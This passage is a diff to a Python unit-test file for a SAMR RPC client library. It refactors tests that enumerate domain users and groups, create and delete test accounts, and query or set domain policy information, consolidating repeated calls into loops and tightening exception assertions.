request['PreferedMaximumLength'] = 8192 status = nt_errors.STATUS_MORE_ENTRIES while status == nt_errors.STATUS_MORE_ENTRIES: try: resp4 = dce.request(request) - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') < 0: raise resp4 = e.get_packet() @@ -487,20 +432,22 @@ def test_SamrEnumerateUsersInDomain(self): status = resp4['ErrorCode'] def test_hSamrEnumerateUsersInDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) try: resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') >=0: pass e.get_packet().dump() def test_SamrGetGroupsForUser(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrOpenUser() request['DomainHandle'] = domainHandle - request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_LIST_GROUPS + request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_LIST_GROUPS request['UserId'] = samr.DOMAIN_USER_RID_ADMIN resp = dce.request(request) resp.dump() @@ -510,7 +457,8 @@ def test_SamrGetGroupsForUser(self): resp.dump() def test_hSamrGetGroupsForUser(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrOpenUser() request['DomainHandle'] = domainHandle request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_LIST_GROUPS @@ -521,248 +469,187 @@ def test_hSamrGetGroupsForUser(self): resp.dump() def test_SamrQueryDisplayInformation3(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrQueryDisplayInformation3() request['DomainHandle'] = domainHandle request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser request['Index'] = 0 request['EntryCount'] = 100 request['PreferredMaximumLength'] = 8192 - #request.dump() try: resp = dce.request(request) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') >=0: e.get_packet().dump() else: raise - request = samr.SamrQueryDisplayInformation3() - request['DomainHandle'] = domainHandle - request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine - request['Index'] = 0 - request['EntryCount'] = 100 - request['PreferredMaximumLength'] = 8192 - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryDisplayInformation3() - request['DomainHandle'] = domainHandle - request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup - request['Index'] = 0 - request['EntryCount'] = 100 - request['PreferredMaximumLength'] = 8192 - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryDisplayInformation3() - request['DomainHandle'] = domainHandle - request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup - request['Index'] = 0 - request['EntryCount'] = 100 - request['PreferredMaximumLength'] = 8192 - #request.dump() - resp = dce.request(request) - resp.dump() + for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine, + samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, + samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]: + request = samr.SamrQueryDisplayInformation3() + request['DomainHandle'] = domainHandle + request['DisplayInformationClass'] = display_info_class + request['Index'] = 0 + request['EntryCount'] = 100 + request['PreferredMaximumLength'] = 8192 + resp = dce.request(request) + resp.dump() def test_hSamrQueryDisplayInformation3(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) try: resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser) resp.dump() - except Exception as e: + except samr.DCERPCSessionError as e: if str(e).find('STATUS_MORE_ENTRIES') >=0: e.get_packet().dump() else: raise - resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine) - resp.dump() - - resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup) - resp.dump() - - resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup) - resp.dump() + for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine, + samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, + samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]: + resp = samr.hSamrQueryDisplayInformation3(dce, domainHandle, display_info_class) + resp.dump() def test_SamrQueryDisplayInformation2(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) try: resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser) resp.dump() - except Exception as e: - if str(e).find('STATUS_MORE_ENTRIES') >=0: + except samr.DCERPCSessionError as e: + if str(e).find('STATUS_MORE_ENTRIES') >= 0: e.get_packet().dump() else: raise - resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine) - resp.dump() - - resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup) - resp.dump() - - resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup) - resp.dump() + for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine, + samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, + samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]: + resp = samr.hSamrQueryDisplayInformation2(dce, domainHandle, display_info_class) + resp.dump() def test_SamrQueryDisplayInformation(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrQueryDisplayInformation() request['DomainHandle'] = domainHandle request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser request['Index'] = 0 request['EntryCount'] = 100 request['PreferredMaximumLength'] = 8192 - #request.dump() try: resp = dce.request(request) resp.dump() - except Exception as e: - if str(e).find('STATUS_MORE_ENTRIES') >=0: + except samr.DCERPCSessionError as e: + if str(e).find('STATUS_MORE_ENTRIES') >= 0: e.get_packet().dump() else: raise - request = samr.SamrQueryDisplayInformation() - request['DomainHandle'] = domainHandle - request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine - request['Index'] = 0 - request['EntryCount'] = 100 - request['PreferredMaximumLength'] = 8192 - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryDisplayInformation() - request['DomainHandle'] = domainHandle - request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup - request['Index'] = 0 - request['EntryCount'] = 100 - request['PreferredMaximumLength'] = 8192 - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryDisplayInformation() - request['DomainHandle'] = domainHandle - request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup - request['Index'] = 0 - request['EntryCount'] = 100 - request['PreferredMaximumLength'] = 8192 - #request.dump() - resp = dce.request(request) - resp.dump() + for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine, + samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, + samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]: + request = samr.SamrQueryDisplayInformation() + request['DomainHandle'] = domainHandle + request['DisplayInformationClass'] = display_info_class + request['Index'] = 0 + request['EntryCount'] = 100 + request['PreferredMaximumLength'] = 8192 + resp = dce.request(request) + resp.dump() def test_hSamrQueryDisplayInformation(self): - dce, rpctransport, domainHandle = self.connect() - + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) try: resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser) resp.dump() - except Exception as e: - if str(e).find('STATUS_MORE_ENTRIES') >=0: + except samr.DCERPCSessionError as e: + if str(e).find('STATUS_MORE_ENTRIES') >= 0: e.get_packet().dump() else: raise - - resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine) - resp.dump() - - resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup) - resp.dump() - - resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup) - resp.dump() + for display_info_class in [samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine, + samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, + samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup]: + resp = samr.hSamrQueryDisplayInformation(dce, domainHandle, display_info_class) + resp.dump() def test_SamrGetDisplayEnumerationIndex2(self): - dce, rpctransport, domainHandle = self.connect() - request = samr.SamrGetDisplayEnumerationIndex2() - request['DomainHandle'] = domainHandle - request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser - request['Prefix'] = 'Gu' - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrGetDisplayEnumerationIndex2() - request['DomainHandle'] = domainHandle - request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup - request['Prefix'] = 'Non' - #request.dump() - resp = dce.request(request) - resp.dump() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + + for display_info_class, prefix in [(samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu'), + (samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, 'Non')]: + request = samr.SamrGetDisplayEnumerationIndex2() + request['DomainHandle'] = domainHandle + request['DisplayInformationClass'] = display_info_class + request['Prefix'] = prefix + resp = dce.request(request) + resp.dump() def test_hSamrGetDisplayEnumerationIndex2(self): - dce, rpctransport, domainHandle = self.connect() - resp = samr.hSamrGetDisplayEnumerationIndex2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu') - resp.dump() - - resp = samr.hSamrGetDisplayEnumerationIndex2(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, 'Non') - resp.dump() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + for display_info_class, prefix in [(samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu'), + (samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup, 'Non')]: + resp = samr.hSamrGetDisplayEnumerationIndex2(dce, domainHandle, display_info_class, prefix) + resp.dump() def test_SamrGetDisplayEnumerationIndex(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) resp = samr.hSamrGetDisplayEnumerationIndex(dce, domainHandle, samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser, 'Gu') resp.dump() def test_hSamrGetDisplayEnumerationIndex(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrGetDisplayEnumerationIndex() request['DomainHandle'] = domainHandle request['DisplayInformationClass'] = samr.DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser request['Prefix'] = 'Gu' - #request.dump() resp = dce.request(request) resp.dump() def test_SamrCreateGroupInDomain_SamrDeleteGroup(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateGroupInDomain() request['DomainHandle'] = domainHandle - request['Name'] = 'testGroup' + request['Name'] = self.test_group request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE - #request.dump() - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find("STATUS_ACCESS_DENIED") < 0: - raise + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_ACCESS_DENIED"): + dce.request(request) + request = samr.SamrDeleteGroup() request['GroupHandle'] = domainHandle - try: - resp = dce.request(request) - resp.dump() - except Exception as e: - if str(e).find("STATUS_OBJECT_TYPE_MISMATCH") < 0: - raise + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_OBJECT_TYPE_MISMATCH"): + dce.request(request) def test_hSamrCreateGroupInDomain_hSamrDeleteGroup(self): - dce, rpctransport, domainHandle = self.connect() - try: - resp = samr.hSamrCreateGroupInDomain(dce, domainHandle, 'testGroup', samr.GROUP_ALL_ACCESS | samr.DELETE) - resp.dump() - except Exception as e: - if str(e).find("STATUS_ACCESS_DENIED") < 0: - raise - try: - resp = samr.hSamrDeleteGroup(dce, domainHandle) - resp.dump() - except Exception as e: - if str(e).find("STATUS_OBJECT_TYPE_MISMATCH") < 0: - raise + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_ACCESS_DENIED"): + samr.hSamrCreateGroupInDomain(dce, domainHandle, self.test_group, samr.GROUP_ALL_ACCESS | samr.DELETE) + + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_OBJECT_TYPE_MISMATCH"): + samr.hSamrDeleteGroup(dce, domainHandle) def test_SamrCreateAliasInDomain_SamrDeleteAlias(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateAliasInDomain() request['DomainHandle'] = domainHandle - request['AccountName'] = 'testGroup' + request['AccountName'] = self.test_group request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE - #request.dump() resp = dce.request(request) resp.dump() request = samr.SamrDeleteAlias() @@ -771,20 +658,21 @@ def test_SamrCreateAliasInDomain_SamrDeleteAlias(self): resp.dump() def test_hSamrCreateAliasInDomain_hSamrDeleteAlias(self): - dce, rpctransport, domainHandle = self.connect() - resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, 'testGroup', samr.GROUP_ALL_ACCESS | samr.DELETE) + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, self.test_group, samr.GROUP_ALL_ACCESS | samr.DELETE) resp.dump() resp = samr.hSamrDeleteAlias(dce, resp['AliasHandle']) resp.dump() def test_SamrCreateUser2InDomain_SamrDeleteUser(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) request = samr.SamrCreateUser2InDomain() request['DomainHandle'] = domainHandle - request['Name'] = 'testAccount' + request['Name'] = self.test_account request['AccountType'] = samr.USER_NORMAL_ACCOUNT request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.DELETE - #request.dump() resp = dce.request(request) resp.dump() request = samr.SamrDeleteUser() @@ -793,224 +681,59 @@ def test_SamrCreateUser2InDomain_SamrDeleteUser(self): resp.dump() def test_hSamrCreateUser2InDomain_hSamrDeleteUser(self): - dce, rpctransport, domainHandle = self.connect() - resp = samr.hSamrCreateUser2InDomain(dce, domainHandle, 'testAccount', samr.USER_NORMAL_ACCOUNT,samr.USER_READ_GENERAL | samr.DELETE ) + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + resp = samr.hSamrCreateUser2InDomain(dce, domainHandle, self.test_account, samr.USER_NORMAL_ACCOUNT,samr.USER_READ_GENERAL | samr.DELETE ) resp.dump() resp = samr.hSamrDeleteUser(dce, resp['UserHandle']) resp.dump() def test_SamrQueryInformationDomain2(self): - dce, rpctransport, domainHandle = self.connect() - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2 - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2 - #request.dump() - resp = dce.request(request) - resp.dump() - - def test_SamrQueryInformationDomain2(self): - dce, rpctransport, domainHandle = self.connect() - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2 - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation - #request.dump() - resp = dce.request(request) - resp.dump() - - request = samr.SamrQueryInformationDomain2() - request['DomainHandle'] = domainHandle - request['DomainInformationClass'] = samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2 - #request.dump() - resp = dce.request(request) - resp.dump() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + + for domain_info_class in [samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2, + samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2, + ]: + request = samr.SamrQueryInformationDomain2() + request['DomainHandle'] = domainHandle + request['DomainInformationClass'] = domain_info_class + resp = dce.request(request) + resp.dump() def test_hSamrQueryInformationDomain2(self): - dce, rpctransport, domainHandle = self.connect() - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation) - resp.dump() - - resp = samr.hSamrQueryInformationDomain2(dce, domainHandle,samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2) - resp.dump() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) + + for domain_info_class in [samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2, + samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2, + ]: + resp = samr.hSamrQueryInformationDomain2(dce, domainHandle, domain_info_class) + resp.dump() def test_hSamrQueryInformationDomain_hSamrSetInformationDomain(self): - dce, rpctransport, domainHandle = self.connect() + dce, rpc_transport = self.connect() + domainHandle = self.get_domain_handle(dce) resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation) resp.dump() @@ -1021,7 +744,7 @@ def test_hSamrQueryInformationDomain_hSamrSetInformationDomain(self): resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainPasswordInformation) resp2.dump() - self.assertTrue( 11 == resp2['Buffer']['Password']['MaxPasswordAge']['LowPart'] ) + self.assertEqual(11, resp2['Buffer']['Password']['MaxPasswordAge']['LowPart']) resp2['Buffer']['Password']['MaxPasswordAge']['LowPart'] = 0 resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer']) @@ -1031,16 +754,11 @@ def test_hSamrQueryInformationDomain_hSamrSetInformationDomain(self): resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation) resp.dump() - resp['Buffer']['General']['ReplicaSourceNodeName'] = 'BETUS' - try: - resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer']) - except Exception as e: - if str(e).find('STATUS_INVALID_INFO_CLASS') < 0: - raise - + resp['Buffer']['General']['ReplicaSourceNodeName'] = self.test_string + with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_INVALID_INFO_CLASS"): + samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer']) ################################################################################ - resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation) resp.dump() @@ -1053,7 +771,7 @@ def test_hSamrQueryInformationDomain_hSamrSetInformationDomain(self): resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainLogoffInformation) resp2.dump() - self.assertTrue( 11 == resp2['Buffer']['Logoff']['ForceLogoff']['LowPart'] ) + self.assertEqual(11, resp2['Buffer']['Logoff']['ForceLogoff']['LowPart']) resp2['Buffer']['Logoff']['ForceLogoff']['LowPart'] = oldData resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer']) @@ -1065,65 +783,51 @@ def test_hSamrQueryInformationDomain_hSamrSetInformationDomain(self): oldData = resp['Buffer']['Oem']['OemInformation'] - resp['Buffer']['Oem']['OemInformation'] = 'BETUS' + resp['Buffer']['Oem']['OemInformation'] = self.test_string resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp['Buffer']) resp.dump() resp2 = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainOemInformation) resp2.dump() - self.assertTrue( 'BETUS' == resp2['Buffer']['Oem']['OemInformation']) + self.assertEqual(self.test_string, resp2['Buffer']['Oem']['OemInformation']) resp2['Buffer']['Oem']['OemInformation'] = oldData resp = samr.hSamrSetInformationDomain(dce, domainHandle, resp2['Buffer']) resp.dump() - ################################################################################ - - resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation) - resp.dump() - - ################################################################################ - - resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation) - resp.dump() + for domain_info_class in [samr.DOMAIN_INFORMATION_CLASS.DomainNameInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainServerRoleInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainStateInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainGeneralInformation2, + samr.DOMAIN_INFORMATION_CLASS.DomainLockoutInformation, + samr.DOMAIN_INFORMATION_CLASS.DomainModifiedInformation2, + ]: + resp = samr.hSamrQueryInformationDomain(dce, domainHandle, domain_info_class) + resp.dump() - ################################################################################ resp = samr.hSamrQueryInformationDomain(dce, domainHandle, samr.DOMAIN_INFORMATION_CLASS.DomainReplicationInformation) resp.dump() oldData = resp['Buffer']['Replication']['ReplicaSourceNodeName'] - resp['Buffer']['Replication']['ReplicaSourceNodeName'] = 'BETUS' + 